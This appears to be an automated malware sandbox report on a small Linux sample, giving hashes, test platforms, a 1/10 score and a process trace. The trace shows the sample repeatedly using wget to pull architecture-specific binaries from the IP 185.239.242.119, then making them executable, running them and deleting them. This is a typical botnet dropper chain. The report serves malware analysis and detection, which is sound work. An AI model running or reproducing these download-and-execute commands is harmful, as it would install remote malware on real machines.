Analysis
- max time kernel
8s - max time network
128s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20240508-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
03/06/2024, 09:15
Static task
static1
Behavioral task
behavioral1
Sample
913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
Resource
ubuntu1804-amd64-20240508-en
0 signatures
150 seconds
Behavioral task
behavioral2
Sample
913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
Resource
debian9-armhf-20240226-en
0 signatures
150 seconds
Behavioral task
behavioral3
Sample
913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
Resource
debian9-mipsbe-20240226-en
0 signatures
150 seconds
Behavioral task
behavioral4
Sample
913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
Resource
debian9-mipsel-20240226-en
0 signatures
150 seconds
General
- Target 913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118
- Size 2KB
- Sample240603-k7wjwsbb39
- SHA256 3fd69074d997f4d86e385ea0ff8d017b9b551aadd3ec1ec27554ebb81ea68b49
- MD5 913fa311fcf2f5e1dc64d89a066b29c5
- SHA1 b58b2f51ee32dda831b8cba73cb095c11613462b
- SHA512 dafcabf4d16058e653319c030f18d157279ee1a59ae02199eb204feaeb5f7db35243f045c814c19fcb38c3d719bbf80db15127a3c486dc19b70a0f992e4b66e8
- MD5 SHA1 SHA512
Score
1/10
Malware Config
Signatures
Processes
-
/tmp/913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes118/tmp/913fa311fcf2f5e1dc64d89a066b29c5_JaffaCakes1181⤵PID:1521
-
/usr/bin/wgetwget http://185.239.242.119/m-i.p-s.SNOOPY2⤵PID:1522
-
-
/bin/chmodchmod +x m-i.p-s.SNOOPY2⤵PID:1526
-
-
/tmp/m-i.p-s.SNOOPY./m-i.p-s.SNOOPY2⤵PID:1527
-
-
/bin/rmrm -rf m-i.p-s.SNOOPY2⤵PID:1528
-
-
/usr/bin/wgetwget http://185.239.242.119/m-p.s-l.SNOOPY2⤵PID:1529
-
-
/bin/chmodchmod +x m-p.s-l.SNOOPY2⤵PID:1530
-
-
/tmp/m-p.s-l.SNOOPY./m-p.s-l.SNOOPY2⤵PID:1531
-
-
/bin/rmrm -rf m-p.s-l.SNOOPY2⤵PID:1532
-
-
/usr/bin/wgetwget http://185.239.242.119/s-h.4-.SNOOPY2⤵PID:1533
-
-
/bin/chmodchmod +x s-h.4-.SNOOPY2⤵PID:1534
-
-
/tmp/s-h.4-.SNOOPY./s-h.4-.SNOOPY2⤵PID:1535
-
-
/bin/rmrm -rf s-h.4-.SNOOPY2⤵PID:1536
-
-
/usr/bin/wgetwget http://185.239.242.119/x-8.6-.SNOOPY2⤵PID:1537
-
-
/bin/chmodchmod +x x-8.6-.SNOOPY2⤵PID:1538
-
-
/tmp/x-8.6-.SNOOPY./x-8.6-.SNOOPY2⤵PID:1539
-
-
/bin/rmrm -rf x-8.6-.SNOOPY2⤵PID:1540
-
-
/usr/bin/wgetwget http://185.239.242.119/a-r.m-6.SNOOPY2⤵PID:1541
-
-
/bin/chmodchmod +x a-r.m-6.SNOOPY2⤵PID:1542
-
-
/tmp/a-r.m-6.SNOOPY./a-r.m-6.SNOOPY2⤵PID:1543
-
-
/bin/rmrm -rf a-r.m-6.SNOOPY2⤵PID:1544
-
-
/usr/bin/wgetwget http://185.239.242.119/x-3.2-.SNOOPY2⤵PID:1545
-
-
/bin/chmodchmod +x x-3.2-.SNOOPY2⤵PID:1546
-
-
/tmp/x-3.2-.SNOOPY./x-3.2-.SNOOPY2⤵PID:1547
-
-
/bin/rmrm -rf x-3.2-.SNOOPY2⤵PID:1548
-
-
/usr/bin/wgetwget http://185.239.242.119/a-r.m-7.SNOOPY2⤵PID:1549
-
-
/bin/chmodchmod +x a-r.m-7.SNOOPY2⤵PID:1550
-
-
/tmp/a-r.m-7.SNOOPY./a-r.m-7.SNOOPY2⤵PID:1551
-
-
/bin/rmrm -rf a-r.m-7.SNOOPY2⤵PID:1552
-
-
/usr/bin/wgetwget http://185.239.242.119/p-p.c-.SNOOPY2⤵PID:1553
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:1554
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:1555
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:1556
-
-
/usr/bin/wgetwget http://185.239.242.119/i-5.8-6.SNOOPY2⤵PID:1557
-
-
/bin/chmodchmod +x i-5.8-6.SNOOPY2⤵PID:1558
-
-
/tmp/i-5.8-6.SNOOPY./i-5.8-6.SNOOPY2⤵PID:1559
-
-
/bin/rmrm -rf i-5.8-6.SNOOPY2⤵PID:1560
-
-
/usr/bin/wgetwget http://185.239.242.119/m-6.8-k.SNOOPY2⤵PID:1561
-
-
/bin/chmodchmod +x m-6.8-k.SNOOPY2⤵PID:1562
-
-
/tmp/m-6.8-k.SNOOPY./m-6.8-k.SNOOPY2⤵PID:1563
-
-
/bin/rmrm -rf m-6.8-k.SNOOPY2⤵PID:1564
-
-
/usr/bin/wgetwget http://185.239.242.119/p-p.c-.SNOOPY2⤵PID:1565
-
-
/bin/chmodchmod +x p-p.c-.SNOOPY2⤵PID:1566
-
-
/tmp/p-p.c-.SNOOPY./p-p.c-.SNOOPY2⤵PID:1567
-
-
/bin/rmrm -rf p-p.c-.SNOOPY2⤵PID:1568
-
-
/usr/bin/wgetwget http://185.239.242.119/a-r.m-4.SNOOPY2⤵PID:1569
-
-
/bin/chmodchmod +x a-r.m-4.SNOOPY2⤵PID:1570
-
-
/tmp/a-r.m-4.SNOOPY./a-r.m-4.SNOOPY2⤵PID:1571
-
-
/bin/rmrm -rf a-r.m-4.SNOOPY2⤵PID:1572
-
-
/usr/bin/wgetwget http://185.239.242.119/a-r.m-5.SNOOPY2⤵PID:1573
-
-
/bin/chmodchmod +x a-r.m-5.SNOOPY2⤵PID:1574
-
-
/tmp/a-r.m-5.SNOOPY./a-r.m-5.SNOOPY2⤵PID:1575
-
-
/bin/rmrm -rf a-r.m-5.SNOOPY2⤵PID:1576
-